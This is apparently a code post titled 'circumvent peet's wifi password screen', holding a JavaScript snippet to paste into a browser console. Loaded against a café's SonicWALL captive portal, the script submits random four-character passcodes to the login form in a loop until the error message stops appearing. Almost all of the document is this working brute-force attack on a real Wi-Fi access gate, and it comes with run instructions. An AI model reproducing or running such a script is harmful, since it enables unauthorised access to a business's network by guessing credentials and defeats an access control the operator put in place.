circumvent peet's wifi password screen

peets.js

// a work in progress... so far it runs, but i need to let it run longer to test.
// memoizing would be good for the passcodes
// to test this yourself, see instructions to inject jquery offline: http://jmtame.posterous.com/inject-jquery-offline

var element1 = document.createElement("script");
element1.src = "chrome-extension://aaaaaaaaaaaaaaaaabbbbbbbbbbbbbbcccccccccccc/jquery.min.js"; // update this manually
element1.type="text/javascript";
document.getElementsByTagName("head")[0].appendChild(element1);

var el = document.createElement("iframe");
el.setAttribute('id', 'iframe');
document.body.appendChild(el);
el.setAttribute('src', 'http://www.google.com');
var iterations = 0;

// paste this second, after you've done the previous two parts

function delay() {
  setTimeout("tryPasscode()", 50);
}

function tryPasscode() {
  //do {
    chars = new Array ('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');
    charCount = chars.length;
    stringLength = 4;
    var passcode = "";

    function mkRandomString() { 
       i = 0; 
       do { 
          random = Math.floor((Math.random()*charCount));
          rand_char = chars[random]; 
          passcode += rand_char; 
          i++; 
       } 
       while (i<stringLength); 
    } 

    mkRandomString();

    console.log("trying " + passcode);
    $("iframe").contents().find("input[type='password']").attr("value",passcode);
    $("iframe").contents().find("form").submit();
    iterations += 1;
    if ( $("iframe").contents().find(".lhmError").length == 0 || $("iframe").contents().find(".lhmError").html() == "Passcode incorrect or already in use." || $("iframe").contents().find(".lhmError").html() == "Login to SonicWALL failed." ) {
      delay();
    }
}

tryPasscode();